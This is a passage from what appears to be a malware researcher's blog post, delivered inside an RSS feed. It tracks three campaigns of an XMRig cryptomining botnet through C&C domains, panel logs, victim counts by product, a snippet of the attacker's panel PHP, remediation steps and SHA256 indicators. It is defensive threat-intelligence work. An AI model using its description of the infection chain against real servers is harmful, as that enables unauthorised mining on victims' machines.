#ff0000;"&gt;&lt;b&gt;PP&lt;/b&gt;&lt;/span&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## all done&lt;/pre&gt;&#10;4 - post-traffic communication lead to a mining pool.&#10;&lt;h2&gt;&lt;span style="text-decoration: underline;"&gt;III - Botnet Timeline&lt;/span&gt;&lt;/h2&gt;&#10;As far I know, there is (at least) currently 3 identified campaign :&#10;&lt;h4&gt;&lt;span style="text-decoration: underline;"&gt;A ) First Campaign (December 2017)&lt;/span&gt;&lt;/h4&gt;&#10;C&amp;amp;C: viewyng[.]com&#10;&#10;We only understood that the attacker used this website to spread his miner, the configuration leads to the third campaign, no logs are hosted on it. There are still some hints about his activity thanks to Pastebin.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://pastebin.com/5PK24fLP"&gt;https://pastebin.com/5PK24fLP&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://pastebin.com/1EKyhC5f"&gt;https://pastebin.com/1EKyhC5f&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;By speculation, I considered based on the second campaign approximately 600 machines were infected by this botnet.&#10;&#10;Also, based on this &lt;a href="https://mail-archives.apache.org/mod_mbox/couchdb-user/201712.mbox/%3CCAPXXe8uCx29mKkRA3bGRxjZ657EARaqtkmbLkH8dkHiM1u9d1g@mail.gmail.com%3E"&gt;post&lt;/a&gt; in one mailing list archive, there were some people complaining about it (or this &lt;a href="https://forums.aws.amazon.com/thread.jspa?threadID=269882&amp;amp;tstart=0"&gt;one&lt;/a&gt;).&#10;&lt;h4&gt;&lt;span style="text-decoration: underline;"&gt;B ) Second Campaign (03/01/2018 - 09/01/2018 Approximately)&lt;/span&gt;&lt;/h4&gt;&#10;C&amp;amp;C: letoscribe[.]ru&#10;&#10;Between the first &amp;amp; second campaign, everything is exactly the same except the hoster. There is no upgrades or changes to the configuration. At that time, the attacker seems to temporize his botnet. Almost all the victims were from the first campaign, this is easily explained thanks to the logs :&#10;&#10;To prove that the attacker gains access to a new one :&#10;&lt;pre&gt;[DD/MM/YYYY:HH:MM:SS][&lt;strong&gt;SF&lt;/strong&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## Cron installed&#10;[DD/MM/YYYY:HH:MM:SS][&lt;strong&gt;SF&lt;/strong&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## fs-manager &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;not found&lt;/span&gt;&lt;/strong&gt;&#10;[DD/MM/YYYY:HH:MM:SS][&lt;strong&gt;SF&lt;/strong&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## Downloading files&#10;[DD/MM/YYYY:HH:MM:SS][&lt;strong&gt;SF&lt;/strong&gt;] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## all done&lt;/pre&gt;&#10;When the attacker re-infects a victim to push the new config :&#10;&lt;pre&gt;[DD/MM/YYYY:HH:MM:SS][PP] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## Cron installed&#10;[DD/MM/YYYY:HH:MM:SS][PP] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## fs-manager &lt;strong&gt;&lt;span&gt;found&lt;/span&gt;&lt;/strong&gt;&#10;[DD/MM/YYYY:HH:MM:SS][PP] &lt;strong&gt;X.X.X.X&lt;/strong&gt; ## all done&lt;/pre&gt;&#10;&lt;h4&gt;Product targeted&lt;/h4&gt;&#10;A least there is 3 different products identified (for almost 700 machines) :&#10;&lt;pre&gt;WL : WebLogic (explained on the other article)&#10;SL : Unknown &#10;SF : Unknown but this is linked with CouchDB&lt;/pre&gt;&#10;The repartition is really contrasted. "SF" represents more than the half of the victims, "SL" 28 % and WebLogic is only 17%.&#10;&#10;&lt;img class=" size-full wp-image-65 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-2ndcampaignpiechart.webp" alt="2ndCampaignPieChart" width="477" height="281" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;How it ends?&lt;/h4&gt;&#10;After the publication of the article quoted as the beginning of this post, my investigations were shut down because the domain was suspended. So, no more data to understand well this botnet.&#10;&#10;&lt;img class=" wp-image-72 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-404-page1.webp" alt="404 page" width="419" height="466" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt; C ) &lt;span style="text-decoration: underline;"&gt;Third Campaign (13/01/2018 - Present)&lt;/span&gt;&lt;/h4&gt;&#10;C&amp;amp;C: &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;#&lt;/span&gt;&lt;span style="color: #ff9900;"&gt;#&lt;/span&gt;&lt;span style="color: #99cc00;"&gt;#&lt;/span&gt; &lt;span style="color: #339966;"&gt;M&lt;/span&gt;&lt;span style="color: #33cccc;"&gt;a&lt;/span&gt;&lt;span style="color: #3366ff;"&gt;g&lt;/span&gt;i&lt;span style="color: #3366ff;"&gt;c&lt;/span&gt; &lt;span&gt;#&lt;/span&gt;&lt;span style="color: #999999;"&gt;#&lt;/span&gt;&lt;span style="color: #ff00ff;"&gt;#&lt;/span&gt;&lt;/strong&gt;&#10;&#10;The current one is interesting because as far I saw, It targets two products and contrary to the second campaign, this one is heavily active to spread the miner to new machines. WebLogic is not used and this probably caused by all the news about at the beginning of this year. At the time, there are approximately 1000~ machines infected by this botnet.&#10;&#10;&lt;img class=" size-full wp-image-80 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-evolution.webp" alt="Evolution" width="588" height="362" loading="lazy" decoding="async" /&gt;&#10;&#10;"SF" products seem to be pwnd manually (or slowly), on the other hand, "SL" are heavily pwnd by scan ranged.&#10;&#10;&lt;img class=" size-full wp-image-79 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-victims-3rd-campaign.webp" alt="Screenshot: Victims 3rd Campaign" width="568" height="327" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;&lt;strong&gt;IV - Is there some information about the attacker?&lt;/strong&gt;&lt;/h3&gt;&#10;It's quite hard to understand well who is behind this (even if he's alone or not), but we have some hints. First for the third campaign. there is an interesting line that is completely different from the other. The day before the "effective" activity of the botnet, some tests were done to check if everything was working well.&#10;&lt;pre&gt;[2018-01-13 18:19:49][&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;T&lt;/strong&gt;&lt;/span&gt;] &lt;strong&gt;&lt;span style="color: #ff6600;"&gt;188.69.192.107&lt;/span&gt;&lt;/strong&gt; ## nope&lt;/pre&gt;&#10;The &lt;a href="https://ipinfo.io/188.69.192.107"&gt;IP is Lithuanian&lt;/a&gt;, but it's quite hard to qualify this data because it might be a proxy or a VPN.&#10;&#10;&lt;img class=" size-full wp-image-74 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-ip-miner.webp" alt="Screenshot: IP Miner" width="644" height="390" loading="lazy" decoding="async" /&gt;&#10;&#10;Secondly, on the source code on the panel, there is on IP that is automatically skipped if it's pwnd :&#10;&lt;pre&gt;$ip = $_SERVER['REMOTE_ADDR'];&#10;if ($ip == '&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;199.87.232.5&lt;/span&gt;&lt;/strong&gt;') die('Ok');&lt;/pre&gt;&#10;After a quick check on &lt;a href="https://www.shodan.io/host/199.87.232.5"&gt;shodan.io&lt;/a&gt;, This server is hosted on eSited&#10;&#10;&lt;img class=" size-full wp-image-75 aligncenter" src="https://fumik0.com/wp-content/uploads/2018/01/xmrig-esited.webp" alt="eSited" width="520" height="315" loading="lazy" decoding="async" /&gt;&#10;&#10;&amp;nbsp;&#10;&lt;h3&gt;&lt;span style="text-decoration: underline;"&gt;Remediation&lt;/span&gt;&lt;/h3&gt;&#10;if you are a victim of this miner&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Kill fs-manager, xmrig&lt;/li&gt;&#10;&#9;&lt;li&gt;Clean your CRON Table&lt;/li&gt;&#10;&#9;&lt;li&gt;Change your admin credentials&lt;/li&gt;&#10;&#9;&lt;li&gt;Reset your "couchdb" account&lt;/li&gt;&#10;&#9;&lt;li&gt;Update your system and these packages :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;ClipBucket&lt;/li&gt;&#10;&#9;&lt;li&gt;Apache CouchDB&lt;/li&gt;&#10;&#9;&lt;li&gt;WebLogic&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;&lt;span style="text-decoration: underline;"&gt;Prevention / Anticipation&lt;/span&gt;&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Add an alert when the CPU usage is too high&lt;/li&gt;&#10;&#9;&lt;li&gt;Install a file and directory integrity checker (like AIDE)&lt;/li&gt;&#10;&#9;&lt;li&gt;Establish a mining pool proxy blacklist&lt;/li&gt;&#10;&#9;&lt;li&gt;Don't use default password or weak one for admin database accounts&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;&lt;span style="text-decoration: underline;"&gt;IoC&lt;/span&gt;&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;7153ac617df7aa6f911e361b1f0c8188ca5c142c6aaa8faa2a59b55e0b823c1c&lt;/li&gt;&#10;&#9;&lt;li&gt;a3bbc8d3c4a950fa0b0def4109a07e9d01bae157781ff7a4b07910340e021dc7&lt;/li&gt;&#10;&#9;&lt;li&gt;3168fb6a817615eef3d65769f19dcaff890fc2142c35fcebc4a35e78dee2c3f3&lt;/li&gt;&#10;&#9;&lt;li&gt;8572208664eede5fa939bad4cfa6185c8f8db13880b560c845c65a34d12d1ad0&lt;/li&gt;&#10;&#9;&lt;li&gt;50538b351d2ec3d1c6531298caac5b3bbd129b6f1ae9904c92aa1ac8ab37f04d&lt;/li&gt;&#10;&#9;&lt;li&gt;f8d6cb1554e5826ebbf33213b37d5b31891f052784054a859de8591ee3084884&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Happy hunting !&#10;&#10;(special thanks to &lt;a href="https://twitter.com/benkow_"&gt;@benkow&lt;/a&gt;)&#10;</description></item></channel></rss>